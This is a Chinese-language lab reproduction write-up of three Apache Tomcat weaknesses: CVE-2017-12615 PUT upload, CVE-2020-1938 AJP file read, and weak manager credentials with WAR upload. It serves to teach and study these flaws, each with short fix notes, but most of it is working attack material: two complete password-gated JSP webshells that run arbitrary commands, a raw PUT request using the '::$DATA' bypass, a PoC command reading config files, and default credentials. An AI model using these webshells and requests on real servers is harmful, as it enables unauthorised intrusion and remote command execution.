简介
参考链接:
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
CVE-2017-12615
参考链接:
在tomcat的配置文件web.xml
中,参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false,则允许用户上传jsp文件。如果可以上传jsp文件,则会导致远程代码执行。
漏洞影响范围:
- Apache Tomcat 7.0.0 - 7.0.79
漏洞复现
启动环境。
漏洞攻击payload:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
访问http://your-ip:8080/,使用burp拦截,将GET方式改为PUT,将上面内容或冰蝎jsp脚本内容提交。上面的payload命令执行方式:http://your-ip:8080/tomcat.jsp?&pwd=023&cmd=whoami。下面使用的是冰蝎的jsp脚本。s
PUT /tomcat.jsp::$DATA HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 534
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
服务器响应201为正常创建jsp脚本。
文件在服务器的创建路径为:/usr/local/tomcat/webapps/ROOT
。
PUT上传的路径要以/
结尾,如果返回404说明没有写/
。
创建jsp文件成功后,执行命令。
漏洞修复
该漏洞的利用需要前提,即允许用户上传jsp脚本文件,但默认情况下是不存在该漏洞的。
升级版本,该漏洞已在Apache Tomcat 7.0.81中修复。
CVE-2020-1938(文件读取/包含漏洞)
参考链接:
Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
漏洞影响范围:
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
漏洞复现
启动环境。
环境启动成功后,使用网上已有的验证代码即可,如下:
- https://github.com/0nise/CVE-2020-1938
- https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
- https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
- https://github.com/hypn0s/AJPy
我使用的是最后一个poc,克隆代码后,使用如下命令进行漏洞测试:
python tomcat.py read_file --webapp=ROOT/ /WEB-INF/classes/application.yml 127.0.0.1
漏洞修复
- 临时禁用AJP协议端口,在conf/server.xm l配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
- 配置ajp配置中的secretRequired跟secret属性来限制认证
- 官方下载最新版下载地址:
tomcat8(弱口令+getshell漏洞)
参考链接:
漏洞复现
启动环境。
打开http://your-ip:8080/manager/html,输入后台弱口令:tomcat:tomcat。
通过弱口令登录后台后,上传war
包getshell。首先准备一个jsp
木马,压缩成zip
文件,再修改后缀名为.war
,war包即可制作完成。jsp木马内容:
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句话木马</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
上传webshell,webshell的位置在后台等候后就可以看到。
上传完成。
文件上传的路径在/usr/local/tomcat/webapps/shell/shell.jsp
,所以访问时候的路径为http://your-ip:8080/shell/shell.jsp
。访问并执行命令:http://your-ip:8080/shell/shell.jsp?pwd=admin&cmd=id
。
漏洞修复
- 后台不要使用弱口令。